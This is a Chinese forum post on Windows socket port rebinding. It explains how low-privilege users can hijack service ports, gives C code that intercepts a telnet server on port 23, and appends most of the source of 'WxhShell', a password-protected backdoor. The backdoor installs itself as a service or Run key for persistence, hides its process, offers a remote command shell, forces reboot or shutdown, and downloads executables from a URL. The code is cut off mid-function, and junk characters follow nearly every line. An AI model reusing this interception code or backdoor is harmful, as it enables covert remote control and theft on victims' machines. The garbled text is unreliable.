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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: my#\(E+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BAtjYPX'w  
_tE55X&  
  saddr.sin_family = AF_INET; %< `D' V@  
YLuf2ja}X  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8{_lB#<[E  
F6aC'<#/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nu(7Y YCM$  
K D?b|y @  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cQm4q19  
x,ZF+vE  
  这意味着什么?意味着可以进行如下的攻击: <. *bJ  
?:G 3U\M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SmIcqM  
"lSh 4X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iu3L9UfL[  
c94=>p6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h~ZLULW)B  
;#:AM;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5{ bc&?"  
XK})?LTD  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3R0ioi 7  
(|NCxey  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PcqS#!t  
n 4y]h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ambr}+}  
A\#z<h[>  
  #include D~#%^a+Aq_  
  #include um}q@BU  
  #include kw E2V+2  
  #include    !?=U{^|7y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @5ud{"|2  
  int main() Z&U:KrFH  
  { gn&Zt}@[  
  WORD wVersionRequested; *UJ4\  
  DWORD ret; tRZ4\Bu  
  WSADATA wsaData;  6su~SPh  
  BOOL val; 6uT*Fg-G  
  SOCKADDR_IN saddr; *3r s+0  
  SOCKADDR_IN scaddr; ~$J(it-a  
  int err; @XXPJq;J  
  SOCKET s; RB4 +"QUh  
  SOCKET sc; 0Q`v#$?":  
  int caddsize; ^6z"@+;*  
  HANDLE mt; .7  0  
  DWORD tid;   qz{9ND| )  
  wVersionRequested = MAKEWORD( 2, 2 ); /s} "0/Y\  
  err = WSAStartup( wVersionRequested, &wsaData ); *=.~PR6W{  
  if ( err != 0 ) { hlB\Xt  
  printf("error!WSAStartup failed!\n"); bWAa: r  
  return -1; sQac%.H;`U  
  } _p*8ke  
  saddr.sin_family = AF_INET; 849,1n^  
   6Eu(C]nC(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3ie k >'T  
D2kmBZ3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); & UOxS W  
  saddr.sin_port = htons(23); M{{kO@P"9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .JXEw%I@  
  { dN)8r  
  printf("error!socket failed!\n"); @,TIw[p  
  return -1; $_E.D>5^%7  
  } /HpM17   
  val = TRUE; .i I{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 rB$~,q&.V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [ gMn  
  { KF_fz   
  printf("error!setsockopt failed!\n"); 94BH{9b5  
  return -1; 3HpqMz  
  } r)pt(*KHo  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jez0 A  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J<QZ)<T,&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y>aO90wJ  
m0TVi]v  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) dX cbS<  
  { )|xu5.F  
  ret=GetLastError(); =J IceLL  
  printf("error!bind failed!\n"); KtL?,zi  
  return -1; Lz.khE<  
  } EGUlLqP6e  
  listen(s,2); CF{b Yf^%  
  while(1) 1fS&KO{a  
  { r6Yd"~ n  
  caddsize = sizeof(scaddr); J&>@ >47  
  //接受连接请求 KHML!f=mu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l5{60$g  
  if(sc!=INVALID_SOCKET) 7sxX?u  
  { $:F+Nf 8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); FfJ;r'eGs  
  if(mt==NULL) EVX3uC}{  
  { B-rE8 \  
  printf("Thread Creat Failed!\n"); =#V^t$  
  break; *=!e,  
  } = UH3.  
  } 4=([v;fc  
  CloseHandle(mt); 4f[%Bb  
  } ~V8z%s@  
  closesocket(s); Q6qW?*Y  
  WSACleanup(); lA5Dag'  
  return 0; H`CID*Ji  
  }   $ZBYOA  
  DWORD WINAPI ClientThread(LPVOID lpParam) aV'bI  
  { )RJEOl1  
  SOCKET ss = (SOCKET)lpParam; z$%twBg}#  
  SOCKET sc; xak)YOLRV  
  unsigned char buf[4096]; :25LQf^nz  
  SOCKADDR_IN saddr; Jbu2y'zE  
  long num; 9=>fx  
  DWORD val; uAn}qrqE9  
  DWORD ret; }<04\t?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F^u12R)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t%lat./yT  
  saddr.sin_family = AF_INET; jz bq{#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,dIev<  
  saddr.sin_port = htons(23); 7)lEZJK&T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tqGrhOt  
  { L.HeBeO  
  printf("error!socket failed!\n"); _ox+5?>  
  return -1; SGAzeymw  
  } $H)^o!  
  val = 100; Nc:s+ o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pE5v~~9Ikv  
  { >pv.,cj  
  ret = GetLastError(); 9d drtJ]  
  return -1; k;l3^kTy  
  } 6X \g7bg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) npdljLN  
  { Oidf\%!mvR  
  ret = GetLastError(); <u64)8'  
  return -1; UkL1h7}a\  
  } %fj5 ;}E.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }Pcm'o_wT  
  { #a8kA"X  
  printf("error!socket connect failed!\n"); 1R2IlUlzFr  
  closesocket(sc); BQ-x#[ %s  
  closesocket(ss); |toP8 6  
  return -1; 3^sbbm.8  
  } ~aob@(  
  while(1) Xh9QfT,  
  { /I%z7f91O  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @5>#<LV=E#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x)PW4{3qR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GKBoSSnV&  
  num = recv(ss,buf,4096,0); 7UfNz60+~  
  if(num>0) Yuv i{ 0  
  send(sc,buf,num,0); X6HaC+P  
  else if(num==0) 8u[_t.y4m  
  break; 7L!JP:v   
  num = recv(sc,buf,4096,0); @>2pY_  
  if(num>0) ( S[z  
  send(ss,buf,num,0); >US*7m }  
  else if(num==0) y* +y&  
  break; x?h/e;  
  } 7Uenr9)M  
  closesocket(ss); 4EB\R"rWXf  
  closesocket(sc); lTx_E#^s  
  return 0 ; 4E$MhP  
  } 1h,iWHC  
M(-)\~9T  
|2(q9j  
========================================================== Rlq7.2cP  
+,Eam6g{  
下边附上一个代码,,WXhSHELL  384n1?  
*;<fh,wOk  
========================================================== R<|\Z@z  
S$mv(C  
#include "stdafx.h" E>~R P^?Uz  
U&^q#['  
#include <stdio.h> ? x)^f+:9|  
#include <string.h> VvhfD2*T  
#include <windows.h> eM7@!CdA9q  
#include <winsock2.h> =2R4Z8G  
#include <winsvc.h> Ymut]`dX  
#include <urlmon.h> J%&LQ9  
~A0]vcP  
#pragma comment (lib, "Ws2_32.lib") YI0 wr1N  
#pragma comment (lib, "urlmon.lib") u64#,mC[*  
9CD ei~  
#define MAX_USER   100 // 最大客户端连接数 Sn=6[RQ>P  
#define BUF_SOCK   200 // sock buffer (NJ{>@&  
#define KEY_BUFF   255 // 输入 buffer I68u%fCv  
B,>02EZ  
#define REBOOT     0   // 重启 k8gH#ENNK  
#define SHUTDOWN   1   // 关机  !:( +#  
#:)'D?,  
#define DEF_PORT   5000 // 监听端口 IwyA4Ak Ru  
^~4]"J};M  
#define REG_LEN     16   // 注册表键长度 <8r"QJY/  
#define SVC_LEN     80   // NT服务名长度 {##G.n\~  
|x}TpM;ni  
// 从dll定义API M.}9)ho   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oo'9ZE/%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mGT('iTM4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GS;GJsAs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l+ }=D@l  
[$y(>] ~.  
// wxhshell配置信息 G]lGoa}]`u  
struct WSCFG { T KZtoQP%  
  int ws_port;         // 监听端口 Fis!MMh.$  
  char ws_passstr[REG_LEN]; // 口令 ~Ntk -p  
  int ws_autoins;       // 安装标记, 1=yes 0=no mxlh\'b  
  char ws_regname[REG_LEN]; // 注册表键名 WK%cbFq(  
  char ws_svcname[REG_LEN]; // 服务名  9q;O`&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @Q1!xA^S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @-@Coy 4Tt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o/AG9|()4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hh;kBv07o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yR$_ZXsd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {&1L &f<  
{gD ED  
}; ne#dEUD  
t=%zY~P  
// default Wxhshell configuration rto?*^N?  
struct WSCFG wscfg={DEF_PORT, lm`*x=x  
    "xuhuanlingzhe", E\iK_'#  
    1, GQ(Y#HSq  
    "Wxhshell", 8h] TI_  
    "Wxhshell", _zj^k$ j  
            "WxhShell Service", n_kwtWX(  
    "Wrsky Windows CmdShell Service", I~7iIUD  
    "Please Input Your Password: ", W8W7<ml0A  
  1, /-M:6  
  "http://www.wrsky.com/wxhshell.exe", OVLVsNg  
  "Wxhshell.exe" WwmYJl0  
    }; ay8]"sa  
XYU5.  
// 消息定义模块 -2.7Z`*(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BJ UG<k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a`wjZ"}'[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CW1l;uwtU  
char *msg_ws_ext="\n\rExit."; Ts!'>_<Je  
char *msg_ws_end="\n\rQuit."; (~~m8VJ>  
char *msg_ws_boot="\n\rReboot..."; juEPUsE  
char *msg_ws_poff="\n\rShutdown..."; n/9afIN  
char *msg_ws_down="\n\rSave to "; KjGu !B  
J v}  
char *msg_ws_err="\n\rErr!"; _H$Lu4b)N  
char *msg_ws_ok="\n\rOK!"; fD!c t;UK  
w=GMQ8  
char ExeFile[MAX_PATH]; lY,^  
int nUser = 0; $N?8[  
HANDLE handles[MAX_USER]; ~[CFs'`(2  
int OsIsNt; $PJ==N  
o\8?CNm1(  
SERVICE_STATUS       serviceStatus; (Yewd/T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n>ryS/1  
P<pv@ l9)  
// 函数声明 ' ]k<' `b|  
int Install(void); :FAPH8]  
int Uninstall(void); JM7mQ'`Ud  
int DownloadFile(char *sURL, SOCKET wsh); 1Vpti4OmU  
int Boot(int flag); [t4v/vQT  
void HideProc(void); ^s)`UZ<C=  
int GetOsVer(void); C m[}DB  
int Wxhshell(SOCKET wsl); LS~at.3zX  
void TalkWithClient(void *cs); Xs2}n^#i  
int CmdShell(SOCKET sock); 5FOMh"!z\  
int StartFromService(void); `n&:\Ib  
int StartWxhshell(LPSTR lpCmdLine); hYoUZ'4  
4c5BlD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /1OCK=  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  2U)n^  
$tZ {>!N  
// 数据结构和表定义 HzTmNm)  
SERVICE_TABLE_ENTRY DispatchTable[] = gPd K%"B@  
{ zYzV!s2^  
{wscfg.ws_svcname, NTServiceMain}, `2Pa{g- .  
{NULL, NULL} V'vWz`#  
}; c}(H*VY2n  
Fi``l )Tt  
// 自我安装 <YvXyIs  
int Install(void) *(9Tl]w  
{ 'rB% a<  
  char svExeFile[MAX_PATH]; k8D _  
  HKEY key; NzgG7 7>  
  strcpy(svExeFile,ExeFile); ]PS`"o,pF$  
G*9(O:  
// 如果是win9x系统,修改注册表设为自启动 [xqV`(vM  
if(!OsIsNt) { ?X@!jB,Pv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8^>qor.]M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =F+v+zP7P  
  RegCloseKey(key); ?tLApy^`?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *2h%dT:,%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i(4<MB1a  
  RegCloseKey(key); a0|hLqI  
  return 0; KQr+VQdq>  
    } IR-n:z  
  } ^8 VW$}  
} 0he3[m}Nr  
else { 4aHogheg  
s!IIvF  
// 如果是NT以上系统,安装为系统服务 {;{U@Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x?L[*N_ml  
if (schSCManager!=0) Fx^wV^q3  
{ ` @QZK0Ox  
  SC_HANDLE schService = CreateService O=jLZ2os  
  ( i.E2a)  
  schSCManager, ||:> &  
  wscfg.ws_svcname, F{x+1hct0  
  wscfg.ws_svcdisp, =+iY<~8  
  SERVICE_ALL_ACCESS, Sp\TaUzg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k!Yc_ZB:*l  
  SERVICE_AUTO_START, 70qEqNoC  
  SERVICE_ERROR_NORMAL, L"b&O<N o  
  svExeFile, ]?}>D?5  
  NULL, X /c8XLe"  
  NULL, S70#_{  
  NULL, KZ5%q.  
  NULL, Y:DopKRD  
  NULL <q7o"NI6FZ  
  ); f\2IKpF2  
  if (schService!=0) f\ P0%  
  { *q6XK_  
  CloseServiceHandle(schService); 0z/*JVka  
  CloseServiceHandle(schSCManager); 'APx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rn-bfzoDS  
  strcat(svExeFile,wscfg.ws_svcname); QATRrIj{e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  }#m9Q[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {]\7 M|9\  
  RegCloseKey(key); k7U.]#5V  
  return 0; `W x| 4  
    } >J;TtNE:  
  } "lt<$.  
  CloseServiceHandle(schSCManager); as@8L|i*  
} ~|"Vl<9  
} tl_3 %$s  
X(tx8~z  
return 1; $2uC%er"H  
} DZqG7p$u4i  
%UI^+:C  
// 自我卸载 DQ8/]Z{H  
int Uninstall(void) ~lV#- m*  
{ y hKH} kR  
  HKEY key; [3X\"x5@V  
|Y Lja87  
if(!OsIsNt) { r:sa|+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { byI" ?  
  RegDeleteValue(key,wscfg.ws_regname); J!om"h  
  RegCloseKey(key); :|(YlNUv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u4hn9**a1  
  RegDeleteValue(key,wscfg.ws_regname); !\#Wq{p>W*  
  RegCloseKey(key); vN(~}gOd\  
  return 0; V< F &\  
  } bkdXBCBx?  
} N7s0Ua'-v  
} ` +YtTK  
else { `i.fm1I]  
/rpr_Xw}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a8TtItN  
if (schSCManager!=0) &vmk!wAs  
{ v9 \n=Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9"^ib9M  
  if (schService!=0) S }`f&  
  { 80Y% C-Y:  
  if(DeleteService(schService)!=0) { ';G/,wB?`  
  CloseServiceHandle(schService); fDDpR=  
  CloseServiceHandle(schSCManager); uQ3sRJi  
  return 0; uNI&U7_"  
  } BP j?l  
  CloseServiceHandle(schService); koT3~FK  
  } 1)c{;x& W  
  CloseServiceHandle(schSCManager); Pt85q?->  
} Hx6O Dj[-  
} I'IFBVhaYn  
O^\:J 2I(  
return 1; J,,V KA&  
} K^o$uUBe  
gH7  +#/  
// 从指定url下载文件 >e;jGk?-  
int DownloadFile(char *sURL, SOCKET wsh) 8\;, d  
{ oC" [rn  
  HRESULT hr; wDi/oH/H  
char seps[]= "/"; 0fstEExw  
char *token; f-#:3k*7S  
char *file; &M5v EPR  
char myURL[MAX_PATH]; |};d:LwX  
char myFILE[MAX_PATH]; f~l pa7  
xpp nBnu$7  
strcpy(myURL,sURL); >A{e,&  
  token=strtok(myURL,seps); KPy)%i  
  while(token!=NULL) KRGj6g+  
  { *[cCY!+Qy  
    file=token; t$qIJt$  
  token=strtok(NULL,seps); .]exY i  
  } UQkd$w<  
.qe+"$K'n  
GetCurrentDirectory(MAX_PATH,myFILE); CV HKP[-  
strcat(myFILE, "\\"); ?`OF n F,K  
strcat(myFILE, file);  cL .z{  
  send(wsh,myFILE,strlen(myFILE),0); 'r=2f6G>cP  
send(wsh,"...",3,0); V %[t'uh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M%54FsV  
  if(hr==S_OK) 5f_x.~ymA  
return 0; _ LgP  
else Vxrj(knck,  
return 1; w8 S pt  
a(IE8:yU`  
} [ {"x{;  
^W}| 1.uZ  
// 系统电源模块 A/9<} m  
int Boot(int flag) @rqmDpU  
{ S7j(4@  
  HANDLE hToken; "< Di  
  TOKEN_PRIVILEGES tkp; 7gLk~*  
;*K;)C  
  if(OsIsNt) { MZ0cZv$v!~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D;2V|CkU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  e4_A`j'  
    tkp.PrivilegeCount = 1; o *U-.&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B]hRYU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /qKor;x  
if(flag==REBOOT) { G$_)X%Vb I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oFyB-vpYQV  
  return 0; %qJgtu"8  
} /xSJljexz  
else { X9c<g;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jB9~'>JY  
  return 0; DB|w&tygq  
} lO9Ixhf~iu  
  } 0 GFho$f  
  else { ?$I9/r  
if(flag==REBOOT) { l`6.(6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]n@T5*=  
  return 0; C:AV?  
} Qa2p34Z/  
else { =>o !   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V]]!0ugvk(  
  return 0; +F,])p4,]i  
} 2_bEo  
} Uv?^qe0=  
"7fEL:|j  
return 1; S+Ia2O)BA  
} vEG7A$Z"  
n<)A5UB5-  
// win9x进程隐藏模块 PGZe'r1E9  
void HideProc(void) 37IHn6r\  
{ `X ()"Qw  
6o]{< T/'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); li{<F{7  
  if ( hKernel != NULL ) ET H ($$M  
  { XdzC/ {G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %WP[V{,F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f]sR4mhO  
    FreeLibrary(hKernel); Bn.R,B0PL  
  } EHl~y=9  
R:'&>.AUw  
return; 18kWnF]n=  
} [(3 %$?[  
gDw(_KC  
// 获取操作系统版本 j)nE!GKD(  
int GetOsVer(void) 4QPHT#eqX  
{ HsRoiqo  
  OSVERSIONINFO winfo; 8"LM:0x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .;U?%t_7  
  GetVersionEx(&winfo); Jp8,s%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TR `C|TV>  
  return 1; uHZjpMoM  
  else (Xz q(QV  
  return 0; pvWj)4e  
} o8A8fHl  
-4 L27C  
// 客户端句柄模块 =_6 Q26  
int Wxhshell(SOCKET wsl) :YLYCVi|  
{ JvCy&xrE;  
  SOCKET wsh; 8{%&P%vf  
  struct sockaddr_in client; %3=T7j  
  DWORD myID; >$3 =yw%  
,Cy&tRjR B  
  while(nUser<MAX_USER) %rl<%%T#.M  
{ E=bZ4 /  
  int nSize=sizeof(client); Mx 3fT>?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5yW}#W>  
  if(wsh==INVALID_SOCKET) return 1; r' |ei,  
tqt~F2u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Oz xiT +  
if(handles[nUser]==0) <8h3)$  
  closesocket(wsh); hsK(09:J  
else q}E'x/s2m  
  nUser++; 96gaun J  
  } &u) qw }  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,&@FToR  
i4SWFa``  
  return 0; G 8tK"LC  
}  ?f5||^7  
'1G0YfG}n  
// 关闭 socket OaByfo<S  
void CloseIt(SOCKET wsh) }$@K   
{ c(3c|n  
closesocket(wsh); sI4 FgO  
nUser--; 1P BnGQYM  
ExitThread(0); Aq$o&t  
} 7i=ER*F~  
MGo`j:0  
// 客户端请求句柄 L'"od;(6R  
void TalkWithClient(void *cs) 1aUu:#c  
{  Kc3/*eu;  
9q^7%b,  
  SOCKET wsh=(SOCKET)cs; tK\$LZ  
  char pwd[SVC_LEN]; X(]J\?n'  
  char cmd[KEY_BUFF]; `K2vG`c  
char chr[1]; Ds8x9v)^  
int i,j; UwDoueXs  
Y~OyoNu2  
  while (nUser < MAX_USER) { Hxj8cX UF|  
NL"w#kTc()  
if(wscfg.ws_passstr) { 7z8   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bf,}mCq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k{\a_e`  
  //ZeroMemory(pwd,KEY_BUFF); 52*KRq o  
      i=0; T zHR  
  while(i<SVC_LEN) { l-'\E6grdH  
uD`Z\@Z  
  // 设置超时 1| xKb (_l  
  fd_set FdRead; 3TKl  
  struct timeval TimeOut; d5=yAn-+=  
  FD_ZERO(&FdRead); (=s%>lW|  
  FD_SET(wsh,&FdRead); v;" pc)i  
  TimeOut.tv_sec=8; b$B-LvHd1  
  TimeOut.tv_usec=0; j)jt&Gg'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N)YoWA>#bF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uq]E^#^  
JaJyH%+$!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Uetna!ABB  
  pwd=chr[0]; &$pA,Gjin\  
  if(chr[0]==0xd || chr[0]==0xa) { U9//m=_  
  pwd=0; sO&eV68 [  
  break; .1""U ']  
  } I#CS;Yh95  
  i++; 95-%>?4  
    } 1h?:gOig  
ze#ncnMo  
  // 如果是非法用户,关闭 socket fH_Xm :%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G*^4 CJ  
} JU-eoB}m  
~*G}+Ur$2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d|$-l:(J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vP/sG5$x  
.J9\Fr@  
while(1) { M_F4I$V4  
ZF;s`K)  
  ZeroMemory(cmd,KEY_BUFF); a~`,zQ -@  
c *Pt;m  
      // 自动支持客户端 telnet标准   lJBZ0  
  j=0; 9B1bq#  
  while(j<KEY_BUFF) { @|Hx >|p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~RnBs`&!  
  cmd[j]=chr[0]; <+; cgF!+  
  if(chr[0]==0xa || chr[0]==0xd) { 1?#Wg>7'  
  cmd[j]=0; $ 4A!Y  
  break; Z+! 96LR  
  } ]4&B*]j  
  j++; !o/;"'&E  
    } (:J U  
vjXCArS  
  // 下载文件 Y@V6/D} 1  
  if(strstr(cmd,"http://")) { C~VyM1inD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +Ram%"Zwh  
  if(DownloadFile(cmd,wsh)) [$%0[;jtS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e#{l  
  else azp XE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =zKbvwe%X  
  } lyrwm{&  
  else { h>jp.%oOu  
A/*h[N+2!  
    switch(cmd[0]) { #.~lt8F  
  Dlu]4n[LB  
  // 帮助 3O'X;s2\d  
  case '?': { ,DWC=:@X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qx !! Ttd{  
    break; :vy./83W  
  } 2/FH9T;e".  
  // 安装 3`Q>s;DjIU  
  case 'i': { bR? $a+a)  
    if(Install()) H.: [# a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rwep e5  
    else U-:_4[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l j*J|%~  
    break; v_ W03\  
    } g4>1> .s  
  // 卸载 8\ WOss)al  
  case 'r': { p9$=."5  
    if(Uninstall()) e.^Y4(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xDBHnr}[  
    else Z8_Q Kw>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f:K`M W  
    break; 7Ke#sW.HN  
    } Ty>g:#bogI  
  // 显示 wxhshell 所在路径 V{G9E  
  case 'p': { lEv<n6:_  
    char svExeFile[MAX_PATH]; 1)f~OL8o  
    strcpy(svExeFile,"\n\r"); iVGc\6+'  
      strcat(svExeFile,ExeFile); *Ad7GG1/u  
        send(wsh,svExeFile,strlen(svExeFile),0); yS:1F PA$_  
    break; 2Md'<.  
    } IKV:J9  
  // 重启 ZIrJ"*QO=  
  case 'b': { A?sU[b6_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PNMf5'@m  
    if(Boot(REBOOT)) x2g P, p-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yl6\}_h`  
    else { ~_Mz05J-\_  
    closesocket(wsh); RDu'N  
    ExitThread(0); IW'2+EGc  
    } f@a@R$y  
    break; R9z^=QKcH  
    } )vFZl]  
  // 关机 (e;9 ,~u)  
  case 'd': { P>t[35/1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U)N_/  
